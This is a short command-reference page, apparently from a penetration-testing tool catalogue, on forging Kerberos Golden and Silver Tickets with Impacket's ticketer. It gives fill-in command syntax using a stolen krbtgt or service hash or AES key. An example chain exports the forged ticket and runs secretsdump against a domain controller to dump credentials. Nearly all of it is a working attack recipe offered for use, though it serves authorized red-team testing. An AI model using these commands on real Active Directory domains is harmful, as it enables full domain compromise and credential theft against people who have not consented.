Impacket ticketer.py Golden Ticket

Forge a Golden Ticket (TGT signed with the krbtgt key) granting any user, any privilege, until the krbtgt password is rotated twice. Save the resulting .ccache and export KRB5CCNAME to use it.

Tool
impacket-ticketer
Category
Credential Attacks / Ticket Forgery & Conversion
Platform
linux
Requires
NTLM hash
Protocols
KERBEROS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-ticketer -nthash <krbtgt-nt-hash> -domain-sid <domain-sid> -domain '<domain>' '<user>'

Credential variants

The same attack using a different authentication material.

AES Key requires AES key

impacket-ticketer -aesKey <aes256-key> -domain-sid <domain-sid> -domain '<domain>' '<user>'

Silver Ticket (Service) requires NTLM hash

impacket-ticketer -nthash <service-nt-hash> -domain-sid <domain-sid> -domain '<domain>' -spn '<spn>' '<user>'

Examples

impacket-ticketer -nthash aad3b...e0c089c0 -domain-sid S-1-5-21-... -domain corp.local administrator
export KRB5CCNAME=$(pwd)/administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@dc.corp.local

Tags

impacket ticketer golden-ticket krbtgt forgery

References